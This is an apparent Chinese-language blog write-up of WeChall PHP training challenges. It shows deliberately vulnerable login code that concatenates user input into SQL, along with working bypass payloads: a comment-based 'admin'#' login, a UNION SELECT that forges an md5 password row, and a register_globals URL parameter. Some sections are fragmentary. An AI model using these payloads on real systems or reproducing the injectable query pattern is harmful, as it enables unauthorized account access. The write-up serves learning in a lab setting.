标签:oba int 第一步 直接 lang 代码 auto amp hal
奥力给,举步维艰的时候就是要一边做一遍记,虽然慢但是不要嫌弃,要不然就是举步不前??
<?php
# Username and Password sent? 检查是否是空
if ( (‘‘ !== ($username = Common::getPostString(‘username‘))) && (false !== ($password = Common::getPostString(‘password‘, false))) ) {
auth1_onLogin($chall, $username, $password);
}
function auth1_onLogin(WC_Challenge $chall, $username, $password)
{
$db = auth1_db();
$password = md5($password);
# 用户名和密码直接连接,没有过滤和其他障碍,所以直接简单注入。
$query = "SELECT * FROM users WHERE username=‘$username‘ AND password=‘$password‘";
if (false === ($result = $db->queryFirst($query))) {
echo GWF_HTML::error(‘Auth1‘, $chall->lang(‘err_unknown‘), false); # Unknown user
return false;
}
}
?>
admin‘#
hehe
#
,就用%23
代替,但是这里是不可以的……??我分析了一下原因,我之前是用burp直接修改的url,所以转码之后的比较靠谱,因为内部可能会有转回来这个过程要走,但是这里应该是没有自动转吗这个流程要走,真拉垮??::
这个符号第一次见,php中的基本语法,我也很拉垮,详细用法在这,总之一句话,就是用来访问其他类、父类中的方法或者参数,可谓是流氓符号??<?php
/* TABLE STRUCTURE
CREATE TABLE IF NOT EXISTS users (
userid INT(11) UNSIGNED AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(32) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,
password CHAR(32) CHARACTER SET ascii COLLATE ascii_bin NOT NULL
) ENGINE=myISAM;
*/
# Username and Password sent?
if ( (‘‘ !== ($username = Common::getPostString(‘username‘))) && (false !== ($password = Common::getPostString(‘password‘, false))) ) {
auth2_onLogin($chall, $username, $password);
}
function auth2_onLogin(WC_Challenge $chall, $username, $password)
{
$db = auth2_db();
$password = md5($password);
$query = "SELECT * FROM users WHERE username=‘$username‘";
if (false === ($result = $db->queryFirst($query))) {
echo GWF_HTML::error(‘Auth2‘, $chall->lang(‘err_unknown‘), false);
return false;
}
#############################
### This is the new check ###
if ($result[‘password‘] !== $password) {
echo GWF_HTML::error(‘Auth2‘, $chall->lang(‘err_password‘), false);
return false;
} # End of the new code ###
#############################
}
?>
这段代码的意思就是,先根据用户名,从数据库里查到密码,推测应该是密码的md5结果,因为他后来把查询结果跟我们输入的密码的md5进行对比。这个操作还是比较骚的,比一般的注入确实升级了一个水平,hhhhh~
关键点:这个题关键的点我认为在于源代码最前面,因为他给了数据库的源代码,所以我们知道他第一步中查用户名的时候的正常输出是三列,从这里我们就可以构造一下输出,因为他并没有对字符进行过滤,所以我们基本上还是可以肆无忌惮的操作??
4.在这里的输入如下:
username = hehe‘ UNION SELECT 1,‘admin‘,md5(‘hehe‘)#
password = hehe
解释一波第4步输入:
经验教训
Register Globals
<?php
if (isset($login))
{
echo GWF_HTML::message(‘Register Globals‘, $chall->lang(‘msg_welcome_back‘, array(htmlspecialchars($login[0]), htmlspecialchars($login[1]))));
if (strtolower($login[0]) === ‘admin‘) {
$chall->onChallengeSolved(GWF_Session::getUserID());
}
}
?>
http://www.wechall.net/challenge/training/php/globals/globals.php?login[0]=admin
register_globals
的值设为on
,那就是开启全局变量的意思,我粗略的理解为php文件中的变量全部变成了全局变量,就像是$_GET
、$_POST
这种的通过url就可以直接访问和赋值的,所以就有了步骤3中的payload。php.ini
,文件里有个变量叫register_globals
,控制全局变量的开启与关闭;标签:oba int 第一步 直接 lang 代码 auto amp hal
原文地址:https://www.cnblogs.com/qiaowukong/p/13649255.html